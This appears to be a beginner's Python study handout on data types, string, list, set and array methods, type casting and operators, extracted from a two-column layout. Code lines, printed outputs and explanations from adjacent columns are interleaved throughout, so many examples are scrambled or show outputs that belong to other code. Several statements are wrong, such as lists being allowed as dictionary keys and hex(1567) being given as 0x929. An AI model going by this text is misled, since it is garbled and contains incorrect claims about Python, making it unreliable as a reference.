Python
Python
It developed by Guido van Rossum, a Dutch scientist. It got an idea for creating python in
1980 then it started the development of python in 1989 and realeased in 1991. It all started
as a hobby.
Python used interpreter :- In the interpreter it check line by line code. If one line of code has
error then it will stop there and show the error.
Variables:-
They are like containers which used to store data values. Like
Variable Value
A 3
Note:- If it has two different variable but has same value. Then it will save at same memory
space(It has same id). Like
Variable Value
A 2
B 2
a = 8,7,9
print(a) -> 8,7,9
a,b = 7,2
print(a,b) -> 7,2
print(a) -> 7
print(b) -> 2
a =b=c=d=e = 90
print(a) -> 90
print(d) -> 90
print(e) -> 90
and many-more.
Variable = Datatype(Value)
DataType
DataTypes Examples
Integer-Datatype All Numeric-Value(1,2,-1,-2….manymore.)
Float-Datatype All Point Value(1.2,12.5,…..manymore.)
Complex-Datatype 3 + 2j ( j – it is must)
String-Datatype Anything written B/w (‘ ’, “ ”, ‘’’ ‘’’)
String:-
• String is an ordered collection of data items.
• String is immutable. You can not add any new elements or words at desired position
or nor delete in existing String.
• String is defined by ‘ ‘, “ “, ‘’’ ‘’’ we called it Quotes.
• String is used to print a message.
• In String every character or elements counts including spaces. like(name -> 5)
• In String you can add or multiply the Strings.
Positive-Indexing:- It Starts with 0 to +ve infinity. It Direction from left to Right. It is used to
access only single elements or character(a,b,c….manymore.)
Negative-Indexing:- It Starts with -1 to –ve infinity. It Direction from Right to Left. It is used
to access only single elements or character(a,b,c….manymore.)
Ctrl + /
Slicing :-
Note:- If word or letter not present in String then it a =’hello harish sharma’
will return -1. b = a.find(‘ha’)
print(b)
:- 6
Compare(>,<, =>, =<) print( ‘Emma > ‘Emm’ )
print( ‘John’ > ‘Jhon’ ) :- True
:- True
a = 'harish'
b = a * 3
print(b)
:-harishharishharish
print(Variable.count(Vsub-String, len(gap)) str1 = 'my isname isisis
jameis isis bond'
str1 = 'my isname isisis jameis isis bond' sub = 'is'
sub = 'is' print(str1.count(sub, 3
print(str1.count(sub, 4 )) ))
:- 6 :- 7
str1 = 'enter your name name name str1 = 'enter your name
name' name name name'
sub = 'name' sub = 'name'
print(str1.count(sub, 12)) print(str1.count(sub))
:- 3 :- 4
a = ‘123@#’
b = a.isalnum()
print(b)
:- False
Variable.isalpha() a = ‘myname123’
b = a.isalpha()
V.isalpha() = this method help to identify print(b)
only alphabet present in a String. :- False
a = ‘my name’
b = a.isalpha()
print(b)
:- False
a = ‘myname@#’
b = a.isalpha()
print(b)
:- False
Variable.isdigit() a = ‘1234’
b = a.isdigit()
V.isdigit() = this method help to identify print(b)
numbers present in String or not. :- True
a = ‘abc1234’
b = a.isdigit()
print(b)
:- False
Variable.isdecimal() a = ‘1’
b = a.isdecimal()
V.isdecimal() = The method returns True if print(b)
all the characters are decimals (0-9). :- True
a = ’12 34’
b = a.isdecimal()
print(b)
:- False
Variable.isnumeric() a = ‘123’
b = a.isnumeric()
V.isnumeric() = The method returns True if print(b)
all the characters are numeric (0-9), :- True
otherwise False.
a = ’12 34’
Note:- No-BackSpaces, No-alphabets, No- b = a.isnumeric()
SpecialCharacters, No-FloatIntegers. print(b)
:- False
Variable.isascii() a = ‘123’
b = a.isascii()
V.isascii() = this method help to check print(b)
Value is defined in Python or not. :- True
a = ‘@’
b = a.isascii()
print(b)
:- True
Variable.islower() a = ‘as vc’
b = a.islower()
V.islower() = This method returns True if all print(b)
the characters are in lower case, otherwise :- True
False.
a = ‘WEetd’
Note:- No-UpperCharacters. b = a.islower()
print(b)
:- False
a = ‘adc123’
b = a.islower()
print(b)
:- True
Variable.isupper() a = ‘DG SD’
b = a.isupper()
V.isupper() = This method returns True if all print(b)
the characters are in upper case, otherwise :- True
False.
a = ‘adSD’
b = a.isupper()
print(b)
:- False
a = ‘SDC123’
b = a.isupper()
print(b)
:- True
a = ‘123’
b = a.isupper()
print(b)
:- False
List:-
• List is an ordered collection of data items.
• List is mutable. It can be added or delete in original List.
• List can store similar and different types of data values. Like:-
String,Dictonary,Tuples,Integers etc.
• List is defined by square brackets. []
• Every Value in a List is Separated by Comma (,). Like:- [1,2,3, “String”, {2:3}]
List-Indexing,Methods
a = [] Anything Between the SquareBrackets is
print(type(a)) called List.
:- <class ‘list’> []
a = [1, ’String’, {2:3}, (‘String’,2), [26,7] ] :- <class 'list'> [1, 'String', {2: 3}, ('String', 2),
print(type(a), a) [26, 7]]
#Positive-Indexing. Postive-Indexing can help us to get the
access of a Value inside a List.
• It start from 0 to manymore..
a = [1,2,3,'String'] • It start from left to Right.
b = a[2]
c = a[3] :- 3, String
print(b, c)
a = [1,2,3,'String']
b = a[2], a[3] :- (3, ‘String’)
print(b)
a = [2,3,4,5,6,78]
a.append('String')
print(a)
:- [2,3,4,5,6,78,’String’]
a = [2,3,4,5,6,78]
a.append({2:4})
print(a)
:- [2,3,4,5,6,78,{2:4}]
Insert :- this method help to Position a new a = [2,3,4,5,6,78]
Value at the Desired Position. a.insert(2,33)
print(a)
Variable.insert(Index_No. , Value) :- [2, 3, 33, 4, 5, 6, 78]
a = [2,3,4,5,6,78]
a.insert(3, 6.9)
print(a)
:- [2, 3, 4, 6.9, 5, 6, 78]
a = [2,3,4,5,6,78]
a.insert(1, [1,2])
print(a)
:- [2, [1, 2], 3, 4, 5, 6, 78]
a = [1,2,3,4]
b = a * 2
print(b)
:- [1, 2, 3, 4, 1, 2, 3, 4]
a = [2,3,4,5,6,78]
a.remove(4), a.remove(78)
print(a)
:- [2, 3, 5, 6]
a = [2,3,4,5,6,78]
del a[2:6]
print(a)
:- [2, 3]
a = [2,3,4,5,6,78]
del a[::2]
print(a)
:- [3, 5, 78]
a = [2,3,4,5,6,78,[56,2]]
del a[6][0]
print(a)
:- [2, 3, 4, 5, 6, 78, [2]]
a = [2,3,4,5,6,78]
del a[1::2]
print(a)
:- [2, 4, 6]
Variable.clear() a = [2,3,4,5,6,78]
a.clear()
V.clear() :-this method help to delete print(a)
whole List Values and make it empty. :- []
Variable.reverse() a = [2,3,4,5,6,78]
a.reverse()
V.reverse() :- this method help to print(a)
reverse the whole list Values. :- [78, 6, 5, 4, 3, 2]
Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
a = [78,45,2,33,49]
a.sort()
a.reverse()
print(a)
:- [78, 49, 45, 33, 2]
Variable.count(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.count(9)
V.count(Value) :- this method help to print(b)
check how many times same value :- 3
repeated.
Variable.index(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.index(78)
V.index(Value) :- this method help to print(b)
find the index no. of value inside the :- 0
List.
Variable.copy() c = [3,4,5,56,90]
a = [78,45,2,33,9,9,9,49]
V.copy() :- this method help to copy the b = a.copy(), c.copy()
whole List inside a another Variable. print(b)
:- ([78, 45, 2, 33, 9, 9, 9, 49], [3, 4, 5, 56,
Note:- It saves the datatype in a same 90])
memory-location.
a = [78,45,2,33,9,9,9,49]
b = a.copy()
print(b)
:- [78, 45, 2, 33, 9, 9, 9, 49]
a = [78,45,2,33,9,9,9,49]
b = [89,'String',{3:4},5,(4,590)]
c = [8,65,34,[23,67,55]]
d = a+b+c
print(d)
:- [78, 45, 2, 33, 9, 9, 9, 49, 89, 'String', {3: 4}, 5, (4, 590), 8, 65, 34, [23, 67, 55]]
Tuple :-
• Tuple is a sequence data type.
• Tuple is an order collection of data items.
• Tuple can store any data type. List, Tuple, Dictonary, String, Integer etc.
• Tuple can store similar and different data items.
• Tuple is defined by parenthesis ().
• Tuple is immutable
a = () a = (1,2,3,4)
print(type(a)) b = a * 2
print(b)
:- <class ‘tuple’>
:- (1, 2, 3, 4, 1, 2, 3, 4)
a = (1,1,1,1,2.3,4,5)
print(a, type(a)) a = 2,3,4
:- (1, 1, 1, 1, 2.3, 4, 5) <class 'tuple'> b = type(a)
print(a, b)
a = (1, ‘String’, [3,4], {2:3}, 9.8)
:- (2, 3, 4) <class 'tuple'>
print(a, type(a))
:- (1, 'String', [3, 4], {2: 3}, 9.8) <class a = (2)
'tuple'> b = type(a)
print(b)
:- <class 'int'>
len(Variable) a = (1,1,1,'String',[3,4],(2,3))
b = len(a)
len(V) = this method help to find the length print(b)
of Tuple it starts from 1 to manymore… :- 6
a = (1,2,3,5,6,'')
print(len(a))
:- 6
Variable.count(Value inside a Tuple) a = (1,1,1,1,1,5,6,7)
b = a.count(1)
V.count(Value) :- this method help to count print(b)
the value repeatation inside the Tuple. :- 5
a = (1,1,1,2,3,5,6,7)
b = (7,8,9,5,67)
c=a+b
print(c)
:- (1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)
a = (1,1,1,2,3,5,6,7)
print(id(a))
b = (7,8,9,5,67)
c=a+b
print(id(c))
print(c)
:- 2334710629312
2334710902224
(1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)
a = (1,2,3,4)
b=a*2
print(b)
:- (1, 2, 3, 4, 1, 2, 3, 4)
max(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = max(a)
max.(V) = this method help to find the print(b)
maximum value inside the tuple. :- 88
min.(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = min(a)
min.(V) = this method help to find print(b)
minimum value inside the tuple. :- 1
Dictionary:-
• Dictionary is an unodered collection of data values.
• Dictionary holds key:value pair. {key:value}
• A Dictionary can be created by placing a sequence of elements within curly {} braces,
separated by ‘comma , ’.
• Values in a dictionary can be any data type can be duplicated. But keys can’t be
repeated
• Dictionary is mutable can be added or deleted.
• Keys are only created by immutable datatypes :- Numeric, String, Tuple, List.
a = {} a = {'name':'abc'}
print(type(a)) print(len(a))
:- <class 'dict'> print(type(a))
:- 1
<class 'dict'>
a = {'name':'abc' , 12:56, (4,5,6) : 90} a = {'name':('abc',56,9.8), 12:56, (4,5,6):90}
print(a) print(a)
print(len(a)) print(len(a))
print(type(a)) print(type(a))
:- {'name': 'abc', 12: 56, (4, 5, 6): 90} :- {'name': ('abc', 56, 9.8), 12: 56, (4, 5, 6):
3 90}
<class 'dict'> 3
<class 'dict'>
Sets:-
• Set is an unordered collection of data items.
• Set is defined by build in set function. set()
• Set does not support repeated values.
• Set can be created by {}.
• It is mutable data type can change.
a = set() a = set('this')
print(type(a)) print(a)
:- <class 'set'> :- {'i', 't', 's', 'h'}
a = {12,34,2,4,5} a = {12,34,2,4,5}
print(a) for i in a:
:- {34, 2, 4, 5, 12} print(i)
34
2
4
5
12
a = {12,34,(5,6),[1,2,3]} a = {12,34,2,4,5}
print(type(a)) a.add(45)
:- TypeError: unhashable type: 'list' print(a)
:- {34, 2, 4, 5, 12, 45}
Note:- It only contains immutable values
inside a Set that can not change. Like:- Note:- Only immutable value can add inside
Numeric-Values, Tuples, Strings. {} a Set Numeric-Values, Tuples, Strings and
Only one arguments.
Note:- Not use integers in Update Method. Note:- Only immutable values can add or
only one arguments.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.pop() a.pop(1)
print(a) print(a)
:- {2, 4, 5, 12}
:- TypeError: set.pop() takes no arguments
V.pop() :- this method help to remove (1 given)
random value from Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.remove(12) a.discard(34)
print(a) print(a)
:- {34, 2, 4, 5} :- {2, 4, 5, 12}
Note:- If Value doesn’t present in a Set. It V.clear() :- this method help to empty
will not show the Error whole Set at one time.
a = {12,34,2,4,5} a = {12,34,2,4,5}
del a b = a.copy()
print(a) print(b)
:- name 'a' is not defined :- {34, 2, 4, 5, 12}
Note:- this method help Delete whole Set. V.copy() :- this method help to copy the
whole set of variable
a = {12,12,12,34,2,4,5}
print(a)
:- {34, 2, 4, 5, 12}
a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34} 4
a.difference_update(b)
print(a)
b.difference_update(a)
print(b)
:- {2, 4, 5, 'is'}
{34, 67, 89, 12, 45}
Variable.union(Variable) a = {1,2,3}
b = {4,1,5,6}
V.union(Variable) :- this method help to c = a.union(b)
combine two sets return one time if same print(c)
value present in both Sets. :- {1, 2, 3, 4, 5, 6}
Variable.intersection(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection(Variable) :- this method help c = a.intersection(b)
to get only common values between two print(c)
sets. :- {1}`
Variable.intersection_update(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection_update(Variable) :- this a.intersection_update(b)
method help to update the Variable set. print(a)
:- {1}
Variable.isdisjoint(Variable) a = {2,34,'is', 5}
b = {45,67,89,12,34}
V.isdisjoint(V) :- this method help to check c = a.isdisjoint(b)
True or False. print(c)
If both sets have different Values it will give :- False
True.
If both sets have different same Values or x = {"apple", "banana", "cherry"}
even one same Value it will give False. y = {"google", "microsoft", "facebook"}
z = x.isdisjoint(y)
print(z)
:- True
Variable.issubset(Variable) a = {1,2}
b = {1,2,3,4}
V.issubset(Variable) :- this method help to c = a.issubset(b)
check both sets Values if both are same it print(c)
will return True. It not False. :- True
a = {3,1,2}
b = {1,2,3,4}
c = a.issubset(b)
print(c)
:- True
a = {1,2,5}
b = {1,2,3,4}
c = a.issubset(b)
print(c)
:- False
Variable.issuperset(Variable) a = {1,2,3,4}
b = {3,4}
V.issuperset(Variable) :- this method help c = a.issuperset(b)
to check if small set is a part of big set and print(c)
have same Values or not and returns True :- True
Or False. a = {1,2,3,4}
b = {3,4,10}
c = a.issuperset(b)
print(c)
:- False
Variable.symmetric_difference(Variable) a = {1,2,3,4,5,6,7}
b = {1,2,3,4}
V.symmetric_difference(Variable) :- this method c = a.symmetric_difference(b)
help to get the values and set difference values of print(c)
both set in a Variable. :- {5, 6, 7}
a = {1,2,3,4,5,6,7}
b = {1,2,3,4,8,9}
c = a.symmetric_difference(b)
print(c)
:- {5, 6, 7, 8, 9}
Variable.symmetric_difference_update(Variable) a = {1,2,3,4}
b = {5,3,4}
V.symmetric_difference_update(Variable) :- this a.symmetric_difference_update(b)
method help get the difference values from both print(a)
sets and update it. :- {1, 2, 5}
Boolean:-
• False -> 0
• True -> 1
a=5>6 a = False
print(type(a), a) b = type(a)
:- <class 'bool'> True print(b, a)
:- <class 'bool'> False
a = True while True:
b = type(a) print('This is a loop')
print(b, a) :- This is a loop
:- <class 'bool'> True .
.
Infinite Loop
Array-DataType:-
• Array is an ordered collection of data items.
• Array is defined by array module.
• Array takes two arguments first is Data-Type and Second is Data-Items.
• Array is mutable. It can change add or Delete.
• Array only can store similar type of data Items. Numberic to Numberic, String to
String etc.
• Array default works on one dimensional but we can perform multidimensional
• Only one column = One-Dimensional
import array
a = array.array('i',[7,8,9]) a = array.array('f',[7,8,9])
print(a) print(a)
:- array('i', [7, 8, 9]) :- array('f', [7.0, 8.0, 9.0])
a = array.array('d',[7,8,9])
print(a)
:- array('d', [7.0, 8.0, 9.0])
a = array.array('i',[7,8,9,'this']) a = array.array('u',['a','b'])
print(a) print(a)
:- array('u', 'ab')
:- TypeError: 'str' object cannot be
interpreted as an integer
Variable.insert(Index_No. , Value)
Variable[Index_No.] a = array.array('i',[7,8,9])
b = a[1]
V[Index_No.] :- this method help to get the print(b)
values from the array by using Index_no. :- 8
Variable[Index_No_Start: Index_No_End + a = array.array('i',[7,8,9])
1] b = a[1:3]
print(b)
V[Start:End] :- this method help get the :- array('i', [8, 9])
values from Start to finish + 1.
Variable.pop() a = array.array('i',[7,8,9])
a.pop()
V.pop() :- this method help to remove the print(a)
last Value from the array. :- array('i', [7, 8])
If Index_No. not define.
a = array.array('i',[7,8,9])
a.pop(1)
print(a)
Variable.remove(Value) a = array.array('i',[7,8,9])
a.remove(8)
V.remove(Value) :- this method help print(a)
remove the any value. :- array('i', [7, 9])
a = array.array('i',[7,9,6,8])
b = sorted(a)
print(b)
b.reverse()
print(b)
:- [9, 8, 7, 6]
Numpy
Import array
Import numpy
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]])
print(a)
:- [['34' '56' '67']
['abc' 'ds' 'fd']
['fref' '4.5' '7.8']]
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]]) Getting the
b = a[0][0], a[1][2], a[2][2], a[2] access of Values
print(b) from numpy
:- ('34', 'fd', '7.8', array(['fref', '4.5', '7.8'], dtype='<U32')) array
a = numpy.array([['ab','cd','bd'], [12,24,34], [14,34,'abc']]) Ascending-Order
a.sort()
print(a)
:- [['ab' 'bd' 'cd']
['12' '24' '34']
['14' '34' 'abc']]
UNICODE-Space-left
Type-Casting:-
• Type-Casting used to change to the Type of a Value. Like:- float to int, tuple to list
:- 97 <class 'int'>
:- A
a = {1,2,3,4} a = 1,2,3,4
b = list(a) print(type(a))
print(b, type(b)) b = list(a)
print(b, type(b))
:- [1, 2, 3, 4] <class 'list'>
:- <class 'tuple'>
[1, 2, 3, 4] <class 'list'>
a = 'string' a = 'enter', 'your', 'name'
b = list(a) b = list(a)
print(b, type(b)) print(b, type(b))
:- ['s', 't', 'r', 'i', 'n', 'g'] <class 'list'> :- ['enter', 'your', 'name'] <class 'list'>
a = 1
b = list(a)
print(b)
:- ('S', 't', 'r', 'i', 'n', 'g') <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>
a = 1.2,3.4,4.5 a = {1,2,3,4,5}
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))
a = (1,2,3,4,5) a = [12,3,4]
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))
a = 's'
b = str(a)
print(b, type(b))
:- s <class 'str'>
List, Tuple, dic to set :- To remove a = [1,2,3,4,5]
duplicate values. b = set(a)
print(b, type(b))
a = {2:3,4:5,6:7}
b = set(a) :- {1, 2, 3, 4, 5} <class 'set'>
print(b, type(b))
a = (1,2,3,4) a = 'String'
b = set(a) b = set(a)
print(b, type(b)) print(b, type(b))
:- {1, 2, 3, 4} <class 'set'> :- {'i', 'S', 't', 'r', 'g', 'n'} <class 'set'>
a = {1,2,3,4} a = {1,2,3,4}
b = dict.fromkeys(a,[5,6,7]) c = {1,2,3}
print(b) b = dict.fromkeys(a,c)
print(b)
:- {1: [5, 6, 7], 2: [5, 6, 7], 3: [5, 6, 7], 4: [5,
6, 7]} :- {1: {1, 2, 3}, 2: {1, 2, 3}, 3: {1, 2, 3}, 4: {1,
2, 3}}
a = (1,2,3,4) a = (1,2,3,4)
b = (1,2,3,4) b = [5,6,7,8]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)
:- {1: 1, 2: 2, 3: 3, 4: 4} :- {1: 5, 2: 6, 3: 7, 4: 8}
a = {1,2,3,4} a = {1,2,3}
b = [10,11,12,13] b = {4,5}
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)
a = [1,2,3] a = [5,6,7,8]
b = [4,5,8,90,100] b = bool(a)
c = dict(zip(b,a)) print(b)
print(c)
:- True
:- {4: 1, 5: 2, 8: 3}
Note:- this method help to check if value is
empty False, or not True.
a = [] a = [1]
b = bool(a) b = bool(a)
print(b) print(b)
:- False :- True
:- 0x17
a = 123 a =1567
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x7b :- 0x929
a = 2345 a = 5678
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x929 :- 0x162e
a = 2222 a = 3333
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x8ae :- 0xd05
a = 242
b = hex(a)
print(b)
:- 0xf2
Numbers to octate:- 0-7 a = 255
b = oct(a)
a = 23 print(b)
b = oct(a)
print(b) :- 0o377
:- 0o27
Functions:-
• There are two types of functions. In-Built Functions, User-define-Function
• Built-In Function :- Those functions are defined by Python like. Input etc.
• User-define Function :- Those functions are defined by User.
Built-In Functions:-
:- The value of a is 12 The value of b is 67 :- The value of a+b is 79 The value of b,a is 67
12
a = int(input('Enter Value A: ')) Enter Value A: 56
b = int(input('Enter Value B: ')) Enter Value B: 54
c = int(input('Enter Value C: '))
Enter Value C: 20
print('The value of a is :',a,'\nThe The value of a is : 56
value of b is :',b,'\nThe value of c The value of b is : 54
is :',c) The value of c is : 20
e = a-b-c-d
print('The Subraction Value of all',e)
Operators:-
• Arithmetic-Operator:- + , - , *, / , % , ** , //
Plus(+) :- a = 12
b = 89
c = a + b + 90
Note:- Only String, Tuple, List can use +. print('The value of c is',c)
a = 12
b = 89 :- The value of c is 191
c = a + b
print('The value of c is',c)
a = 23 a = [1,2,3,4,5]
b = 90 b = [6,7,8,9,10]
print('The value of a+b',a+b) print('The Total Value',a+b)
:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- StringStringString
Division(/) :- always return in float no. a = 12
Quotient b = 6
a = 90 c = a/b
b = 90 print('The value of c',c)
c = a/b
print('The value of c',c) :- The value of c 2.0
Modulus ( % ) :- Remainder a = 2
b = 2
a = 5 print(a%b)
b = 2
c = a%b :- 0
print(c)
:- 1
Power( ** ) :- a = 5
b = 2
c = a**3
a = 5
print(c)
b = 2
c = a**b
print(c) :- 125
:- 25
Integer-Division( // ) :- Value Round-Off- a = 5
Divide. b = 4
c = a//b
print(c)
Note:- If Value is +ve in float.no then it will
show low Value. Go-backwards. :- 1
Go-Backwards.
If Value is –ve in float.no then it will show
high Value. Go-Forwards.
a = -5 a = 15
b = 4 b = 2
c = a//b c = a//b
print(c) print(c)
:- -2 :- 7
Go-Forward. Go-Backwards.
a = -15
b = 2
c = a//b
print(c)
:- -8
Go-Forward.
Assignment-Operators:-
• = , += , -= , *= , /= , %= , **=
:- :-
89 89
91 91
a = [1,2,3,4] a = (1,2,3,4,5)
a += [5,6,7,8,9] a += (6,7,8,9)
print(a) print(a)
:- [1, 2, 3, 4, 5, 6, 7, 8, 9] :- (1, 2, 3, 4, 5, 6, 7, 8, 9)
a = 'String1' a = 4.5
a += 'String2' a += 8
print(a) print(a)
:- String1String2 :- 12.5
a =90 a =90
a -= 50 a = a - 50
print(a) print(a)
:- 40 :- 40
a = 89 a = 89
a -= 90 a = a - 90
print(a) print(a)
:- -1 :- -1
*= Multiplication and Assign a = 12
print(a)
a =a * 2
Note:- Not Dictionary, Set. print(a)
a = 12
print(a) :-
a *= 2 12
print(a) 24
:-
12
24
a = 4 a = 4
a *= 4 a = a * 4
print(a) print(a)
:- 16 :- 16
a = [1,2,3] a = [1,2,3]
a *= 3 a = a * 3
print(a) print(a)
:- [1, 2, 3, 1, 2, 3, 1, 2, 3] :- [1, 2, 3, 1, 2, 3, 1, 2, 3]
a = (1,2,3) a = (1,2,3)
a *= 3 a = a * 3
print(a) print(a)
:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- (1, 2, 3, 1, 2, 3, 1, 2, 3)
a = 'String' a = 'String'
a *= 3 a = a * 3
print(a) print(a)
:- StringStringString :- StringStringString
:- 2
a = 19 a = 19
a %= 3 a = a % 3
print(a) print(a)
:- 1 :- 1
a = 20 a = 20
a %= 4 a = a % 4
print(a) print(a)
:- 0 :- 0
:- 16
a = 90 a = 90
a**= 9 a = a**9
print(a) print(a)
:- 387420489000000000 :- 387420489000000000
a = -17 a = -17
a//=4 a = a // 4
print(a) print(a)
:- -5 :- -5
Comparison-Operator:-
• > , < , <= , >= , == , != :- True or False, 0 -> False, 1 -> True
• First checking the Greater-Values then Length –> Rule
• Dictionary doesn’t work.
:- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a > b c = a > b
print(c) print(c)
:- False :- True
a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a > b c = a > b
print(c) print(c)
:- True :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a > b print(a > b)
print(c)
:- False
:- True
Note:- If values of two variable same but
one length is greater than other than
greater one is Bigger.
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a > b) c = a > b
print(c)
:- False
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a > b c = a > b
print(c)
:- True :- False
a = {1,2,3,4} a = '1String'
b = {1,2,3} b = 'String'
c = a > b print(a > b)
print(c)
:- False
:- True
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a > b c = a > b
print(c) print(c)
:- True :- True
a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a > b) c = a > b
print(c)
:- False
:- True
a = [9,8,7,10] a = [9,8,7,10,0]
b = [9,8,7,11] b = [9,8,7,11]
c = a > b c = a > b
print(c) print(c)
:- False :- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a < b print(a < b)
print(c)
:- True
:- False
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a < b) c = a < b
print(c)
:- True
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a < b) c = a < b
print(c)
:- True
:- False
<= :- Less than and Equal to. a = 89
b = 90
a = 90 print(a <= b)
b = 90
print(a <= b) :- True
:- True
a = [1,2,3,4,5,6,7] a = [1,2,3]
b = [9,8] b = [9,8,7]
print(a <= b) print(a <= b)
:- True :- True
a = [1,9,10,11] a = [1,2,3,4]
b = [5,6,7,8] b = [1,2,3,4]
print(a <= b) print(a<=b)
:- True :- True
a = (1,2,3) a = (1,2,3,4,5,6)
b = (1,2,4) b = (9,8)
print(a <= b) print(a <= b)
:- True :- True
a = {1,2,3} a = {1,2,3,4}
b = {1,2,3} b = {1,2,3}
print(a <= b) print(a <= b)
:- True :- False
a = {1,2,3,4,5,6,7} a = {1,2,3}
b = {9,8} b = {9,8,7}
print(a <= b) print(a <= b)
:- False :- False
>= :- Greater and Equal too. a = [1,2,3,4,5,6,7]
b = [9,8]
a = 89 print(a >= b)
b = 90
print(a >= b) :- False
:- False
a = [1,2,3] a = [1,9,10,11]
b = [9,8,7] b = [5,6,7,8]
print(a >= b) print(a >= b)
:- False :- False
a = [1,2,3,4] a = (1,2,3)
b = [1,2,3,4] b = (1,2,4)
print(a>=b) print(a >= b)
:- True :- False
a = (1,2,3,4,5,6) a = {1,2,3}
b = (9,8) b = {1,2,3}
print(a >= b) print(a >= b)
:- False :- True
a = {1,2,3,4} a = {1,2,3,4,5,6,7}
b = {1,2,3} b = {9,8}
print(a >= b) print(a >= b)
:- True :- False
a = {1,2,3}
b = {9,8,7}
print(a >= b)
:- False
== :- Equals too. a = 100
b = 90
a = 100 print(a==b)
b = 100
print(a==b) :- False
:- True
a = 'this' a = 'this'
b = 'this' b = 'this'
print(a==b) print(a[0] == b[0])
:- True :- True
a = 'Harish' a = 'Harish'
b = 'Sharma' b ='ravi'
print(a[1] == b[-1]) print(a==b)
:- True :- False
a = 'Harish' a = 'Harish'
b ='Havi' b ='Havi'
print(a==b) print(a[0] == b[0])
:- False :- True
a = [1,2,3,4] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,4]
print(a == b) print(a[-1] == b[1])
:- True :- False
a = [1,2,3,4,5] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,5]
print(a == b) print( a == b)
:- False :- False
a = {1:'this'} a = {1:'One', 2:'Two'}
b = {2:'this'} b = {1:'One', 2:'Two'}
print(a[1] == b[2]) print(a == b)
:- True :- True
a = {1:'One', 2:'Two'} a = {1:'One', 2:'Two'}
b = {3:'One', 4:'Two'} b = {3:'One', 4:'Two'}
print(a == b) print(a[1] == b[3])
:- False :- True
:- False
a = [1,2,3] a = [1,2,3,4]
b = [9,2,3] b = [5,6,7]
print(a != b) print(a != b)
:- True :- True
a = {1,2,3} a = {1,2,3}
b = {4,5,6} b = {1,2,3}
print(a != b) print(a != b)
:- True :- False
and (*)
and :- Multiply (*) a = 10
b = 20
a = 10 c = 30
b = 20
c = 30 print(a < b and b < a and c < a)
print(a < b and b < c)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(c > a and b )
print(c > a and b and a)
:- 20
:- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(a > b and c) d = a<b and b<c
print(d)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and b>c d = a>b and b>c
print(d) print(d)
:- False :- False
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and c d = a<b and c and b and a
print(d) print(d)
:- 30 :- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and 100 d = a>b and c
print(d) print(d)
:- 100 :- False
or (+)
a = 10 a = 10
b = 10 b = 20
c = 40 c = 30
print(a==b or b>c) print(b>a or c<a)
:- True :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a<b or c<a) print(a==b or b>c)
:- False :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a==b or c) print(a!=b or c)
:- True :- 40
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a!=b or 1000) print(a!=b or c or b)
:- 1000 :- 40
not (Opposite)
a = 10 a = 10
b = 20 b = 20
c = not a<b c = not a>b
print(c) print(c)
:- False :- True
• To check the Value (object) have same memory locations or are they same or not.
a = 34 a = 34
b = 67 b = 34
c = a is b c = a is b
